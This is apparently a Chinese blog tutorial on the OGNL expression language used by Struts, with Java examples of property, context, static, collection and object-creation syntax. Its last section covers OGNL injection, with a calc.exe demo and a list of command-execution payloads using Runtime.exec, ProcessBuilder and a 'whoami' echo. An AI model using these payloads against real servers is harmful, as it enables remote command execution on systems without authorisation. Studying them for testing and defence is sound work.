OGNL表达式

OGNL表达式

简介

OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。这样可以更好的取得数据。Struts框架使用OGNL作为默认的表达式语言

三要素

首先来介绍下 OGNL 的三要素:

  • 表达式(Expression)

    表达式是整个 OGNL 的核心内容,所有的 OGNL 操作都是针对表达式解析后进行的。通过表达式来告诉 OGNL 操作到底要干些什么。因此,表达式其实是一个带有语法含义的字符串,整个字符串将规定操作的类型和内容。OGNL 表达式支持大量的表达式,如 “链式访问对象”、表达式计算、甚至还支持 Lambda 表达式。

  • Root 对象

    OGNL 的 Root 对象可以理解为 OGNL 的操作对象。当我们指定了一个表达式的时候,我们需要指定这个表达式针对的是哪个具体的对象。而这个具体的对象就是 Root 对象,这就意味着,如果有一个 OGNL 表达式,那么我们需要针对 Root 对象来进行 OGNL 表达式的计算并且返回结果。

  • 上下文环境

    有个 Root 对象和表达式,我们就可以使用 OGNL 进行简单的操作了,如对 Root 对象的赋值与取值操作。但是,实际上在 OGNL 的内部,所有的操作都会在一个特定的数据环境中运行。这个数据环境就是上下文环境(Context)。OGNL 的上下文环境是一个 Map 结构,称之为 OgnlContext。Root 对象也会被添加到上下文环境当中去。

    说白了上下文就是一个 MAP 结构,它实现了 java.utils.Map 的接口。

优势

  • 支持对象方法调用,如:×××.doSomeSpecial();
  • 支持类静态的方法调用和值访问,表达式的格式

@[类全名(包括包路径)]@[方法名 | 值名],例如:
@java.lang.String@format(‘foo %s’, ‘bar’)
或@tutorial.MyConstant@APP_NAME;

  • 支持赋值操作和表达式串联,

如price=100, discount=0.8,calculatePrice(),这个表达式会返回80;

  • 访问OGNL上下文(OGNL context)和ActionContext;
  • 操作(创建)集合对象。

总结:OGNL 有一个上下文(Context)概念,说白了上下文就是一个MAP结构,它实现了java.utils.Map 的接口。

作用

  • jsp页面取值用
  • EL表达式语言,也用于页面取值,是jsp页面取值的标准(默认就可以使用)
  • Ognl表达式语言,Struts标签默认支持的表达式语言,必须配置Struts标签用,不能离开Struts标签直接使用,就是说Ognl必须在Struts中使用
  • 对比来看,EL使用范围更广,项目中不限制使用哪一种,哪一种熟悉就使用哪一种

基本语法

#、%和$符号在OGNL表达式中经常出现,这里简单介绍一下三种表达式的用途

#符号

#符号的三种用法:

1)访问非根对象属性,例如示例中的#session.msg表达式,由于Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀。实际上,#相当于ActionContext. getContext();#session.msg表达式相当于ActionContext.getContext().getSession(). getAttribute(“msg”) 。

2)用于过滤和投影(projecting)集合,如示例中的persons.{?#this.age>20}。

3) 用来构造Map,例如示例中的#{‘foo1’:’bar1’, ‘foo2’:’bar2’}。

%符号

%符号的用途是在标志的属性为字符串类型时,告诉执行环境‘%{}’中的是 OGNL 表达式,计算OGNL表达式的值。

$符号

$符号主要有两个方面的用途。

1) 在国际化资源文件中,引用OGNL表达式,例如国际化资源文件中的代码:reg.agerange=国际化资源信息:年龄必须在

${min}同${max}之间。

2) 在Struts 2框架的配置文件中引用OGNL表达式,例如下面的代码片断所示:

1
10100BAction-test校验:数字必须为${min}为${max}之间!

#和.和@的区别

  • 获取静态函数和变量的时候用@
  • 获取非静态函数用.号获取
  • 获取非静态变量用#获取

基础用法

Pom.xml添加依赖

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.1.11</version>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.16.10</version>
<scope>provided</scope>
</dependency>

对Root对象的访问

OGNL 使用的是一种链式的风格进行对象的访问,中间使用.进行连接;所有的OGNL表达式都基于当前对象的上下文来完成求值运算,链的前面部分的结果将作为后面求值的上下文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example;

import lombok.Data;
import ognl.Ognl;
import ognl.OgnlException;

public class OgnlTest {
public static void main(String[] args) throws OgnlException {
User user = new User();
user.setAge(16);
user.setName("hello");
Info info = new Info("1","2");
user.setInfo(info);

System.out.println(Ognl.getValue("age", user)); // 16
System.out.println(Ognl.getValue("name", user)); // hello
System.out.println(Ognl.getValue("name.length", user)); // 5
System.out.println(Ognl.getValue("info", user)); // Info(a=1, b=2)
System.out.println(Ognl.getValue("info.a", user)); // 1

}
}


@Data
class User {

private String name;
private int age;
private Info info;
}

@Data
class Info {
private String a;
private String b;

public Info(String a, String b){
this.a = a;
this.b = b;
}
}

运行结果:

对上下文对象的访问

使用 OGNL 的时候如果不设置上下文对象,系统会自动创建一个上下文对象,如果传入的参数当中包含了上下文对象则会使用传入的上下文对象。

当访问上下文环境当中的参数时候,需要在表达式前面加上 ‘#’ ,表示了与访问 Root 对象的区别。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;

import lombok.Data;
import ognl.Ognl;
import ognl.OgnlException;

import java.util.HashMap;
import java.util.Map;

public class OgnlTest1 {
public static void main(String[] args) throws OgnlException {
User1 user = new User1();
user.setAge(16);
user.setName("hello");
Info1 info = new Info1("1","2");
user.setInfo(info);

Map context = new HashMap();
context.put("test", "testValue");
context.put("aaa", user);

System.out.println(Ognl.getValue("#test", context, user)); // testValue
System.out.println(Ognl.getValue("#aaa", context, user)); // User(name=hello, age=16, info=Info(a=1, b=2))
System.out.println(Ognl.getValue("#aaa.name", context, user)); // hello

}
}


@Data
class User1 {

private String name;
private int age;
private Info1 info;
}

@Data
class Info1 {
private String a;
private String b;

public Info1(String a, String b){
this.a = a;
this.b = b;
}
}

运行结果:

对静态变量的访问

在 OGNL 表达式当中也可以访问静态变量或者调用静态方法,格式如 @[class]@[field/method()]

1
2
3
4
5
6
7
8
9
10
11
package org.example;

import ognl.Ognl;
import ognl.OgnlException;

public class OgnlTest3 {
public static String test = "This is a test!!!!!";
public static void main(String[] args) throws OgnlException {
System.out.println(Ognl.getValue("@org.example.OgnlTest3@test",null));
}
}

运行结果:

方法的调用

如果需要调用 Root 对象或者上下文对象当中的方法也可以使用类似的方式来调用。甚至可以传入参数。

赋值的时候可以选择上下文当中的元素进行给 Root 对象的 name 属性赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example;

import lombok.Data;
import ognl.Ognl;
import ognl.OgnlException;

import java.util.HashMap;
import java.util.Map;

public class OgnlTest4 {
public static void main(String[] args) throws OgnlException {
User4 user = new User4();
Map context = new HashMap();
context.put("test", "testValue");
context.put("aaa", user);

System.out.println(Ognl.getValue("getName()", context, user)); // null
Ognl.getValue("setName(#test)", context, user); // 执行setName方法
System.out.println(Ognl.getValue("getName()", context, user)); // testValue

}
}


@Data
class User4 {

private String name;
private int age;
}

运行结果:

对数组和集合的访问

OGNL 支持对数组按照数组下标的顺序进行访问。此方式也适用于对集合的访问,对于 Map 支持使用键进行访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

import ognl.Ognl;
import ognl.OgnlException;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class OgnlTest5 {
public static void main(String[] args) throws OgnlException {
List list = new ArrayList<>();
list.add("123");
list.add("456");

Map map = new HashMap();
map.put("test1", "value1");

Map context = new HashMap();
context.put("list", list);
context.put("map", map);

System.out.println(Ognl.getValue("#list[0]", context, list)); // 123
System.out.println(Ognl.getValue("#map['test1']", context, map)); // value1
}
}

运行结果:

投影与选择

  • 投影:选出集合当中的相同属性组合成一个新的集合。语法为 collection.{XXX},XXX 就是集合中每个元素的公共属性。

  • 选择:选择就是选择出集合当中符合条件的元素组合成新的集合。语法为 collection.{Y XXX},其中 Y 是一个选择操作符,XXX 是选择用的逻辑表达式。

    选择操作符有 3 种:

    • ? :选择满足条件的所有元素
    • ^:选择满足条件的第一个元素
    • $:选择满足条件的最后一个元素
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package org.example;

import lombok.Data;
import ognl.Ognl;
import ognl.OgnlException;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;

public class OgnlTest6 {
public static void main(String[] args) throws OgnlException {
User6 u1 = new User6("name1", 11);
User6 u2 = new User6("name2", 22);
User6 u3 = new User6("name3", 33);
User6 u4 = new User6("name4", 44);

ArrayList<User6> list = new ArrayList<User6>();
list.add(u1);
list.add(u2);
list.add(u3);
list.add(u4);

Map context = new HashMap();
context.put("list", list);

System.out.println(Ognl.getValue("#list.{age}", context, list)); // [11, 22, 33, 44]
System.out.println(Ognl.getValue("#list.{? #this.age > 22}", context, list)); // [User(name=name3, age=33), User(name=name4, age=44)]
System.out.println(Ognl.getValue("#list.{^ #this.age > 22}", context, list)); // [User(name=name3, age=33)]
System.out.println(Ognl.getValue("#list.{$ #this.age > 22}", context, list)); // [User(name=name4, age=44)]
}
}


@Data
class User6 {

private String name;
private int age;

public User6(String name, int age) {
this.name = name;
this.age = age;
}
}

运行结果:

创建对象

OGNL 支持直接使用表达式来创建对象。主要有三种情况:

  • 构造 List 对象:使用 {}, 中间使用 ‘,’ 进行分割如 {“aa”, “bb”, “cc”}
  • 构造 Map 对象:使用 #{},中间使用 ‘, 进行分割键值对,键值对使用 ‘:’ 区分,如 #{“key1” : “value1”, “key2” : “value2”}
  • 构造任意对象:直接使用已知的对象的构造方法进行构造。
1
2
3
System.out.println(Ognl.getValue("{'key1','value1'}", null));    // [key1, value1]
System.out.println(Ognl.getValue("#{'key1':'value1'}", null)); // {key1=value1}
System.out.println(Ognl.getValue("new java.lang.String('123')", null)); // 123

OGNL表达式注入

对于OGNL表达式注入,在Struts2.x中漏洞频出,通过构造payload调用系统命令执行。OGNL可以访问静态方法、属性和对象方法等,其中包括可执行恶意操作的命令执行类java.lang.Runtime等,当OGNL表达式输入外部可控时,就可以构造恶意payload造成命令执行。

Demo

调用java.lang.Runtime类中的getRuntime().exec()方法,调用格式@{Class}@{Method}

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import ognl.Ognl;
import ognl.OgnlException;

public class Ognlexec {
public static void main(String[] args) throws OgnlException {
String payload="@java.lang.Runtime@getRuntime().exec('calc.exe')";
System.out.println(Ognl.getValue(payload,null));
}
}

运行结果:

常用payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//获取context里面的变量值
#user
#user.name

//使用runtime执行系统命令
@java.lang.Runtime@getRuntime().exec("calc")

//使用processbuilder执行系统命令
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()

//获取当前绝对路径
@java.lang.System@getProperty("user.dir")

// e-mobole带回显
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信